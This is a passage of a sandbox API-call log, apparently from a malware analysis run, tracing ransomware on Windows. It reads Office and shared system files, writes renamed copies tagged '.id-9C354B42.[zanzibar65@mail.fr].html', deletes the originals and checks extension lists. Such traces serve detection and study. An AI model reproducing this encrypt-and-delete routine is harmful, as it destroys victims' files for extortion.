Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.164] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.164] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.164] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.164] GetLastError () returned 0x0 [0035.164] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.726] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0035.737] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.737] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.737] SetEndOfFile (hFile=0x178) returned 1 [0035.737] CloseHandle (hObject=0x178) returned 1 [0035.742] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.742] SetEndOfFile (hFile=0x198) returned 1 [0035.747] CloseHandle (hObject=0x198) returned 1 [0035.747] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.747] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString=".doc") returned 4 [0035.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString=".docx") returned 5 [0035.748] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.748] lstrlenW (lpString=".pdf") returned 4 [0035.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString=".xls") returned 4 [0035.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString=".xlsx") returned 5 [0035.748] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.748] lstrlenW (lpString=".ppt") returned 4 [0035.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString=".zip") returned 4 [0035.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.748] lstrlenW (lpString=".rar") returned 4 [0035.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString=".bz2") returned 4 [0035.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString=".7z") returned 3 [0035.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString=".dbf") returned 4 [0035.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString=".1cd") returned 4 [0035.748] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.748] lstrlenW (lpString=".jpg") returned 4 [0035.748] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString=".doc") returned 4 [0035.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString=".docx") returned 5 [0035.749] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.749] lstrlenW (lpString=".pdf") returned 4 [0035.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString=".xls") returned 4 [0035.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString=".xlsx") returned 5 [0035.749] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.749] lstrlenW (lpString=".ppt") returned 4 [0035.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString=".zip") returned 4 [0035.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.749] lstrlenW (lpString=".rar") returned 4 [0035.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString=".bz2") returned 4 [0035.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString=".7z") returned 3 [0035.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString=".dbf") returned 4 [0035.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString=".1cd") returned 4 [0035.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.749] lstrlenW (lpString=".jpg") returned 4 [0035.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.942] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.942] lstrlenW (lpString="VisiorWW.xml") returned 12 [0035.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.152] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=8723) returned 1 [0036.152] CloseHandle (hObject=0x198) returned 1 [0036.152] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0036.152] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.153] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.153] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0036.153] GetLastError () returned 0x0 [0036.153] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2213, lpOverlapped=0x0) returned 1 [0036.359] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0036.360] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.360] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.360] SetEndOfFile (hFile=0x178) returned 1 [0036.360] CloseHandle (hObject=0x178) returned 1 [0036.361] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.361] SetEndOfFile (hFile=0x198) returned 1 [0036.361] CloseHandle (hObject=0x198) returned 1 [0036.361] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0036.362] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0036.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.362] lstrlenW (lpString=".doc") returned 4 [0036.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".docx") returned 5 [0036.362] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.362] lstrlenW (lpString=".pdf") returned 4 [0036.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".xls") returned 4 [0036.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".xlsx") returned 5 [0036.362] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.362] lstrlenW (lpString=".ppt") returned 4 [0036.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.362] lstrlenW (lpString=".zip") returned 4 [0036.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.362] lstrlenW (lpString=".rar") returned 4 [0036.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.362] lstrlenW (lpString=".bz2") returned 4 [0036.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".7z") returned 3 [0036.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString=".dbf") returned 4 [0036.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString=".1cd") returned 4 [0036.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString=".jpg") returned 4 [0036.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString=".doc") returned 4 [0036.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".docx") returned 5 [0036.363] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.363] lstrlenW (lpString=".pdf") returned 4 [0036.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".xls") returned 4 [0036.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".xlsx") returned 5 [0036.363] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.363] lstrlenW (lpString=".ppt") returned 4 [0036.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.363] lstrlenW (lpString=".zip") returned 4 [0036.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.363] lstrlenW (lpString=".rar") returned 4 [0036.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".bz2") returned 4 [0036.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.363] lstrlenW (lpString=".7z") returned 3 [0036.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.364] lstrlenW (lpString=".dbf") returned 4 [0036.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.364] lstrlenW (lpString=".1cd") returned 4 [0036.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.364] lstrlenW (lpString=".jpg") returned 4 [0036.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.364] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0036.364] lstrlenW (lpString="MS.PNG") returned 6 [0036.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.643] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1682) returned 1 [0036.643] CloseHandle (hObject=0x1ac) returned 1 [0036.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0036.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.643] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.643] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.643] GetLastError () returned 0x0 [0036.643] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x692, lpOverlapped=0x0) returned 1 [0036.645] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0036.646] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.646] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.646] SetEndOfFile (hFile=0x1a0) returned 1 [0036.646] CloseHandle (hObject=0x1a0) returned 1 [0036.646] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.646] SetEndOfFile (hFile=0x1ac) returned 1 [0036.647] CloseHandle (hObject=0x1ac) returned 1 [0036.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0036.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0036.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.648] lstrlenW (lpString=".doc") returned 4 [0036.648] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0036.648] lstrlenW (lpString=".docx") returned 5 [0036.648] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0036.648] lstrlenW (lpString=".pdf") returned 4 [0036.648] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0036.648] lstrlenW (lpString=".xls") returned 4 [0036.648] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0036.648] lstrlenW (lpString=".xlsx") returned 5 [0036.648] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0036.648] lstrlenW (lpString=".ppt") returned 4 [0036.648] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0036.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.648] lstrlenW (lpString=".zip") returned 4 [0036.648] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0036.648] lstrlenW (lpString=".rar") returned 4 [0036.648] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0036.648] lstrlenW (lpString=".bz2") returned 4 [0036.648] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0036.648] lstrlenW (lpString=".7z") returned 3 [0036.648] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0036.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.648] lstrlenW (lpString=".dbf") returned 4 [0036.648] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0036.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.648] lstrlenW (lpString=".1cd") returned 4 [0036.649] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString=".jpg") returned 4 [0036.649] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString=".doc") returned 4 [0036.649] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString=".docx") returned 5 [0036.649] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0036.649] lstrlenW (lpString=".pdf") returned 4 [0036.649] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString=".xls") returned 4 [0036.649] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0036.649] lstrlenW (lpString=".xlsx") returned 5 [0036.649] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0036.649] lstrlenW (lpString=".ppt") returned 4 [0036.649] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString=".zip") returned 4 [0036.649] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0036.649] lstrlenW (lpString=".rar") returned 4 [0036.649] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0036.649] lstrlenW (lpString=".bz2") returned 4 [0036.649] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString=".7z") returned 3 [0036.649] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString=".dbf") returned 4 [0036.649] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.649] lstrlenW (lpString=".1cd") returned 4 [0036.649] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0036.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.650] lstrlenW (lpString=".jpg") returned 4 [0036.650] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0036.650] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1 [0036.650] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0036.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0037.891] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1100368) returned 1 [0037.891] CloseHandle (hObject=0x194) returned 1 [0037.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0037.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 